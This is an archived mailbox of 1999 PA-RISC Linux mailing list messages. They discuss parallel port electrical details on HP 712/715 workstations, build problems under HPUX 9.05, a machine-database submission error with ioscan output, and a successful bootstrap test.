	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA28407;
	Sun, 28 Nov 1999 13:09:35 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id NAA07628; Sun, 28 Nov 1999 13:11:52 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 26 Nov 1999 16:08:45 PST."
             <383EF6DD.8B4D77F6@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6527

Alex deVries wrote:
> =============================================
>  PA-RISC/Linux Weekly News - November 25, 1999
> =============================================
...

> Q:  What do you think is your most significant contribution to date?
> 
> DLK: I brought Grant Grundler coffee once.

<grin>...I'm flattered...fortunately Dave's actually done more...
I think he brought pastries too... ;^)


> Supported Machines:
>      most of the A180c, parts of 712 Gecko workstations

parts of 715s too (more once ASP is supported).


cheers,
grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Parallel port hardware (fwd)
Date: Mon, 29 Nov 1999 09:08:48 -0800 (PST)
Lines: 2
Approved: news@gmane.org
Message-ID: <199911291708.JAA10386@meow.sr.hp.com>
Reply-To: bkatz@agilent.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618674 28729 80.91.229.3 (22 Nov 2014 01:11:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Mon Nov 29 10:09:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA20840
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Nov 1999 10:09:16 -0700
Original-Received: (qmail 11456 invoked by uid 15267); 29 Nov 1999 17:11:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11448 invoked from network); 29 Nov 1999 17:11:08 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 29 Nov 1999 17:11:08 -0000
Original-Received: from postal.sr.hp.com (postal.sr.hp.com [15.4.46.173])
	by palrel1.hp.com (Postfix) with ESMTP id BF8A772DA
	for <parisc-linux@thepuffingroup.com>; Mon, 29 Nov 1999 09:08:50 -0800 (PST)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id JAA01510 for <parisc-linux@thepuffingroup.com>; Mon, 29 Nov 1999 09:09:07 -0800 (PST)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id JAA10386 for parisc-linux@thepuffingroup.com; Mon, 29 Nov 1999 09:08:49 -0800 (PST)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:6528

----- Forwarded message from Sandy Harris -----


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Parallel port hardware (fwd)
Date: Mon, 29 Nov 1999 18:55:33 +0100
Lines: 6
Approved: news@gmane.org
Message-ID: <19991129185533.A1994@mathe.stud.uni-erlangen.de>
References: <199911291708.JAA10386@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618674 28737 80.91.229.3 (22 Nov 2014 01:11:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bkatz@agilent.com
Original-X-From: prumpf@abacus.uni-erlangen.de  Mon Nov 29 12:50:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA21699
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Nov 1999 12:50:42 -0700
Original-Received: (qmail 17043 invoked by uid 15267); 29 Nov 1999 19:49:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8416 invoked from network); 29 Nov 1999 17:54:13 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 29 Nov 1999 17:54:13 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 29 Nov 1999 18:54:10 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id SAA02128;
	Mon, 29 Nov 1999 18:56:34 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911291708.JAA10386@meow.sr.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6529

> Early 715s (/33, /50, /75) use a WDC 16C522 (or is it 552?) for the 2

The one in my 715/33 is labelled 16C552-JT.

	


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPUX 9.05 notes
Date: Mon, 29 Nov 1999 15:27:36 -0500 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.20.9911291514400.6896-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618675 28740 80.91.229.3 (22 Nov 2014 01:11:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:15 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Mon Nov 29 13:25:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA22021
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Nov 1999 13:25:46 -0700
Original-Received: (qmail 13569 invoked by uid 15267); 29 Nov 1999 20:27:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13560 invoked from network); 29 Nov 1999 20:27:41 -0000
Original-Received: from mojo.calyx.net (HELO mail.calyx.net) (F5lGYirEqulHGGAQrxw5@208.132.136.2)
  by mailserv2.iuinc.com with SMTP; 29 Nov 1999 20:27:41 -0000
Original-Received: (qmail 31796 invoked from network); 29 Nov 1999 20:27:41 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (qcrsqngcGeC5i2MBe9wx@208.132.136.2)
  by mojo.calyx.net with SMTP; 29 Nov 1999 20:27:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:6530


For a lark I tried the "recipe" instructions on a 715/64 
running HPUX 9.05.  A coupla notes:

1) You need to install flex.  Perhaps also some autoconf stuff
and a native HPUX gcc in addition to the cross compiler,
too; those I already had so I wouldn't have noticed if they
were needed.

2) You need to export CONFIG_SHELL=/linux/bin/bash before
running gcc's ./configure or the HPUX /bin/sh dies with
an exhausted "2k buffer" :-P.

3) You need to edit linux/scripts/mkdep.c and take out
the call to getpagesize() (a failed compile will tell you
where.)  Substitute a constant (4096, it appears from 
asm-parisc/.)

How far does this get you?  About up to here:

make
gcc -D__KERNEL__ -I/linux/linux/include -Wall -Wstrict-prototypes -O2
-fomit-frame-pointer -mdisable-fpregs -fwritable-strings
 -pipe -fno-strength-reduce  -c -o init/main.o init/main.c
as:  @line#614 [err#1052]
  Directive name not recognized - BALIGNL
as:  @line#654 [err#1052]
  Directive name not recognized - BALIGNL
init/main.c: In function `do_basic_setup':
init/main.c:1295: warning: implicit declaration of function `gsc_init'
init/main.c: At top level:
init/main.c:1397: warning: type mismatch with previous external decl
/linux/linux/include/asm/unistd.h:879: warning: previous external decl of
`sys_dup'
make: *** [init/main.o] Error 1


I don't know how much of this might be recent CVS breakage and how
much is due to the crusty OS, but I hope this is of help to 
someone.

--
Brian S. Julin


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX 9.05 notes
Date: Mon, 29 Nov 1999 15:41:47 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <199911292041.PAA17116@hiauly1.hia.nrc.ca>
References: <Pine.BSO.4.20.9911291514400.6896-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618675 28746 80.91.229.3 (22 Nov 2014 01:11:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bri@mojo.calyx.net (Brian S. Julin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Nov 29 13:40:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA22273
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Nov 1999 13:40:11 -0700
Original-Received: (qmail 596 invoked by uid 15267); 29 Nov 1999 20:42:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 586 invoked from network); 29 Nov 1999 20:42:04 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 29 Nov 1999 20:42:04 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA17116;
	Mon, 29 Nov 1999 15:41:47 -0500 (EST)
In-Reply-To: <Pine.BSO.4.20.9911291514400.6896-100000@mojo.calyx.net> from "Brian S. Julin" at Nov 29, 99 03:27:36 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6531

I had similar experiences building under 9.01.

> How far does this get you?  About up to here:
> 
> make
> gcc -D__KERNEL__ -I/linux/linux/include -Wall -Wstrict-prototypes -O2
> -fomit-frame-pointer -mdisable-fpregs -fwritable-strings
>  -pipe -fno-strength-reduce  -c -o init/main.o init/main.c
> as:  @line#614 [err#1052]
>   Directive name not recognized - BALIGNL
> as:  @line#654 [err#1052]
>   Directive name not recognized - BALIGNL

Are you using as from binutils?  You definitely will not have this problem
with the latest binutils cvs source and probably not with the latest
released version 2.9.1.  Build gcc using --with-gnu-as (see INSTALL
directions for hppa).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Parallel port hardware
Date: Mon, 29 Nov 1999 16:55:46 -0500
Organization: The Puffin Group
Lines: 18
Approved: news@gmane.org
Message-ID: <3842F662.2E4ECEF5@thepuffingroup.com>
References: <3835D808.18274C86@thepuffingroup.com> <38401100.5FFDF373@storm.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618675 28750 80.91.229.3 (22 Nov 2014 01:11:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Sandy Harris <sandy@storm.ca>
Original-X-From: adevries@thepuffingroup.com  Mon Nov 29 14:54:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA23002
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Nov 1999 14:54:10 -0700
Original-Received: (qmail 3005 invoked by uid 15267); 29 Nov 1999 21:56:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2975 invoked from network); 29 Nov 1999 21:56:05 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.88.157.130)
  by mailserv2.iuinc.com with SMTP; 29 Nov 1999 21:56:05 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id QAA06230;
	Mon, 29 Nov 1999 16:56:48 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6532

Sandy Harris wrote:
> 
> Can anyone point me to info on the electrical properties of the parallel ports
> on 712 or 715 machines?
> 

The electrical properties of the parallel port are likely identical to
that of the rest of the parallel ports in the world.  The only document
I've ever seen on the parallel ports of the 712 are in the Lasi
documentation.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carl Johnson <cjs@mcn.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Machine Additions?
Date: Sun, 28 Nov 1999 16:23:38 -0100
Organization: CJ Solutions
Lines: 141
Approved: news@gmane.org
Message-ID: <3841651A.F66C387B@mcn.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618676 28754 80.91.229.3 (22 Nov 2014 01:11:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:16 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: cjs@mcn.net  Mon Nov 29 19:56:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA24398
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Nov 1999 19:56:33 -0700
Original-Received: (qmail 29901 invoked by uid 15267); 30 Nov 1999 02:58:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29878 invoked from network); 30 Nov 1999 02:58:27 -0000
Original-Received: from pm2b-034.huntley.mcn.net (HELO cjs01.cj-solutions.com) (root@205.163.45.34)
  by mailserv2.iuinc.com with SMTP; 30 Nov 1999 02:58:27 -0000
Original-Received: from mcn.net (cjohnson@cj-solutions.com [192.168.0.10])
	by cjs01.cj-solutions.com (8.9.3/8.9.3) with ESMTP id QAA08085
	for <parisc-linux@thepuffingroup.com>; Sun, 28 Nov 1999 16:23:38 -0100
Original-Sender: cjohnson@cj-solutions.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6533

Earlier I saw a message posted about adding machines and their
descriptions to the puffin site, so I went to do that and 
when I follow the instructions, etc, etc the addmachine.php3
kicks out an error, which is embedded and does not show up,
of:

	The IOSCAN output is not in the correct format. Please try
	that again. Exiting a  that is not open

anyhow I am including all the needed info and if someone can finger
out my problem please tell me:  __TIA__

Name: Carl Johnson
Email:
Machine Model: J200
Model Command Output: 9000/770/J200
Picture:
IOScan Output:
:pa:F:F:F:-1:-1:4294967295:bc:root:::0:root:root:CLAIMED:BUS_NEXUS::0
pa:pa:F:F:F:-1:-1:4294967295:bc:bus_converter:8:88 7 8 76 0 0 11 80 0 0 0 0 0 0
0 0 :1:root.ccio:ccio:CLAIMED:BUS_NEXUS:I/O Adapter:1
pa:wsio:F:F:F:0:0:0:ext_bus:c720:8/0:1 240 0 132 0 0 137 128 0 0 0 0 98 113 0 2
:0:root.ccio.c720:c720:CLAIMED:INTERFACE:GSC built-in Fast/Wide SCSI Interface:0
scsi:wsio:F:F:F:-1:-1:4294967295:target:tgt:8/0.6:0 0 2 2 0 0 0 0 71 241 106 203
1 58 127 247 :0:root.ccio.c720.tgt:tgt:CLAIMED:DEVICE::0
scsi:wsio:T:T:F:31:188:24576:disk:sdisk:8/0.6.0:0 0 2 2 0 0 0 0 71 241 106 203 1
58 127 247 :0:root.ccio.c720.tgt.sdisk:sdisk:CLAIMED:DEVICE:SEAGATE ST31230W:0
scsi:wsio:F:F:F:-1:-1:4294967295:target:tgt:8/0.7:0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 :1:root.ccio.c720.tgt:tgt:CLAIMED:DEVICE::0
scsi:wsio:F:T:F:-1:203:28672:ctl:sctl:8/0.7.0:0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
:0:root.ccio.c720.tgt.sctl:sctl:CLAIMED:DEVICE:Initiator:0
pa:core:F:F:F:-1:-1:4294967295:ba:core_adapter:8/12:1 240 0 139 0 0 129 0 0 0 0
0 124 133 0 0 :0:root.ccio.bus_adapter:bus_adapter:CLAIMED:BUS_NEXUS:Core I/O
Adapter:0
core:wsio:F:T:F:-1:216:131072:ext_bus:CentIf:8/12/0:1 240 0 10 0 0 116 0 0 0 0 0
0 0 0 0 :2:root.ccio.bus_adapter.CentIf:CentIf:CLAIMED:INTERFACE:Built-in
Parallel Interface:2
core:wsio:F:T:F:-1:66:0:audio:audio:8/12/1:1 240 0 10 0 0 123 0 0 0 0 0 0 0 0 0
:0:root.ccio.bus_adapter.audio:audio:CLAIMED:INTERFACE:Built-in Audio:0
core:wsio:F:T:F:-1:1:0:tty:asio0:8/12/4:1 240 0 138 0 0 140 0 0 0 0 0 101 169 0
2 :0:root.ccio.bus_adapter.asio0:asio0:CLAIMED:INTERFACE:Built-in RS-232C:0
core:wsio:F:F:F:0:0:65536:ext_bus:c720:8/12/5:1 240 0 138 0 0 130 0 0 0 0 0 104
87 0 2 :1:root.ccio.bus_adapter.c720:c720:CLAIMED:INTERFACE:Built-in SCSI:1
scsi:wsio:F:F:F:-1:-1:4294967295:target:tgt:8/12/5.7:0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 :2:root.ccio.bus_adapter.c720.tgt:tgt:CLAIMED:DEVICE::1
scsi:wsio:F:T:F:-1:203:94208:ctl:sctl:8/12/5.7.0:0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
:1:root.ccio.bus_adapter.c720.tgt.sctl:sctl:CLAIMED:DEVICE:Initiator:1
core:wsio:F:T:F:-1:52:0:lan:lan2:8/12/6:1 240 0 138 0 0 138 0 0 0 0 0 93 53 0 2
:0:root.ccio.bus_adapter.lan2:lan2:CLAIMED:INTERFACE:Built-in LAN:0
core:wsio:F:T:F:-1:159:0:ps2:ps2:8/12/7:1 240 0 138 0 0 132 0 0 0 0 0 111 111 0
2 :0:root.ccio.bus_adapter.ps2:ps2:CLAIMED:INTERFACE:Built-in Keyboard/Mouse:0
pa:pa:F:F:F:-1:-1:4294967295:bc:bus_converter:10:88 7 8 76 0 0 11 80 0 0 0 0 0 0
0 0 :2:root.ccio:ccio:CLAIMED:BUS_NEXUS:I/O Adapter:2
pa:wsio:F:F:F:-1:229:4294967295:graphics:graph3:10/0:0 80 0 138 0 0 119 0 1 0 0
0 109 229 0 2 :0:root.ccio.graph3:graph3:CLAIMED:INTERFACE:Graphics:0
pa:core:F:F:F:-1:-1:4294967295:ba:core_adapter:10/20:1 240 0 11 0 0 142 0 0 0 0
0 0 0 0 0 :1:root.ccio.bus_adapter:bus_adapter:CLAIMED:BUS_NEXUS:Core I/O
Adapter:1
core:wsio:F:T:F:-1:24:0:hil:hil:10/20/1:1 240 0 138 0 0 115 0 0 0 0 0 129 108 0
2 :0:root.ccio.bus_adapter.hil:hil:CLAIMED:INTERFACE:Built-in HIL:0
core:wsio:F:T:F:-1:1:65536:tty:asio0:10/20/2:0 64 0 138 0 0 140 128 0 0 0 0 102
217 0 2 :1:root.ccio.bus_adapter.asio0:asio0:CLAIMED:INTERFACE:Built-in
RS-232C:1
core:eisa:F:F:F:-1:-1:4294967295:ba:eisa_adapter:10/20/5:1 240 0 11 0 0 144 0 0
0 0 0 0 0 0 0 :2:root.ccio.bus_adapter.eisa:eisa:CLAIMED:BUS_NEXUS:EISA Bus
Adapter:2
pa:pa:F:F:F:-1:-1:4294967295:processor:processor:32:88 80 0 0 0 0 4 145 0 0 0 0
0 0 0 0 :0:root.processor:processor:CLAIMED:PROCESSOR:Processor:0
pa:pa:F:F:F:-1:-1:4294967295:memory:memory:49:4 144 26 1 0 0 9 0 0 0 0 0 0 0 0 0
:0:root.memory:memory:CLAIMED:MEMORY:Memory:0

-- 
Carl Johnson

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:51:49 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03789
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:51:48 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:51:48 PST
Received: from smtp03.primenet.com (daemon@smtp03.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id KAA17382
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 10:52:43 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id KAA02521
	for <pcj@primenet.com>; Wed, 10 Mar 1999 10:53:50 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd002491; Wed Mar 10 10:53:44 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id MAA06334;
	Wed, 10 Mar 1999 12:08:14 -0500
Resent-Date: Wed, 10 Mar 1999 12:08:14 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Wed, 10 Mar 1999 11:11:41 -0600
From: Jason Eckhardt <jason@equator.com>
Message-Id: <199903101711.LAA30694@equator.com>
To: hppa-linux@thepuffingroup.com
Subject: [hppa-linux] Bootstrap #3 successful
Resent-Message-ID: <"AiPys1.0.uY1.zRgvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/161
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: b42262051d63f7b3cedaffebf6eec7b0
Lines: 28
Xref: merlin.pcj.primenet.com palinux:132


I'm happy to report that bootstrap #3 passed for everyone who reported back
thus far, thanks for taking the time to help out. Network, disk, and even
ZIP drive boots worked. I'd like to see a CD-ROM test if someone has a
CDR drive available.

1) 780/C160       (disk)
2) 715/64         (BOOTP)
3) 816/E35        (disk)
4) 712/100        (disk)
5) 712/100        (SCSI ZIP drive!)
6) 715/33         (RBOOTD) 
7) 715/80         (?disk?)

This means that we now have a simple but functional bootstrap. We are ready
to load a real kernel instead of a dummy one!

Phil Schwan is helping to solve the ftp problems and I will be uploading
the latest working boot sources. I've also added GPL license stubs to
each source file, a mildly detailed README, etc.

Regards,
Jason Eckhardt.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Parallel port hardware (fwd)
Date: Mon, 29 Nov 1999 23:16:09 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <38430939.435033DA@storm.ca>
References: <199911291708.JAA10386@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618676 28756 80.91.229.3 (22 Nov 2014 01:11:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sandy@storm.ca  Mon Nov 29 21:16:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA24983
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Nov 1999 21:16:03 -0700
Original-Received: (qmail 22822 invoked by uid 15267); 30 Nov 1999 04:17:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22815 invoked from network); 30 Nov 1999 04:17:56 -0000
Original-Received: from storm.ca (HELO mail.storm.ca) (root@209.87.224.69)
  by mailserv2.iuinc.com with SMTP; 30 Nov 1999 04:17:56 -0000
Original-Received: from storm.ca (dial01p40.ottawa.storm.ca [209.87.225.40])
	by mail.storm.ca (8.8.8+Sun/8.8.8) with ESMTP id XAA18880
	for <parisc-linux@thepuffingroup.com>; Mon, 29 Nov 1999 23:17:53 -0500 (EST)
X-Mailer: Mozilla 4.61 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:6534

"Bill Katz (William)" wrote:

> Sandy Harris wrote:
> |Can anyone point me to info on the electrical properties of the parallel ports
> |on 712 or 715 machines?
> |
> |I'm thinking that 8 715s might make an interesting parallel engine, but the cable device
> |only works if the parallel port's control lines are implemented as open collector TTL.
> |Where can I discover whether they are?
> 
> Early 715s ...
> 
> Later 715s (/64, /80, /100) and all 712s use Lasi.  From the chip ERS
> (not published, it's mostly electrical stuff) Data strobe, autofeed,
> parinit, and select
> 
> The ones that connect to pins 1, 14, 16, and 17 are open collector.

Bingo! Those are exactly the four lines used for the Wapers parallel stuff.

http://garage.ecn.purdue.edu/~papers/WAPERS/


From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine Additions?
Date: Tue, 30 Nov 1999 12:08:56 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911301152070.28574-100000@grasshopper.thepuffingroup.com>
References: <3841651A.F66C387B@mcn.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618676 28759 80.91.229.3 (22 Nov 2014 01:11:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:16 +0000 (UTC)
Cc: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: Carl Johnson <cjs@mcn.net>
Original-X-From: dkennedy@thepuffingroup.com  Tue Nov 30 08:58:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA29218
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Nov 1999 08:58:56 -0700
Original-Received: (qmail 6429 invoked by uid 15267); 30 Nov 1999 16:00:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6419 invoked from network); 30 Nov 1999 16:00:49 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 30 Nov 1999 16:00:49 -0000
Original-Received: from grasshopper.thepuffingroup.com (IDENT:dkennedy@grasshopper.thepuffingroup.com [192.168.1.65])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id LAA25835;
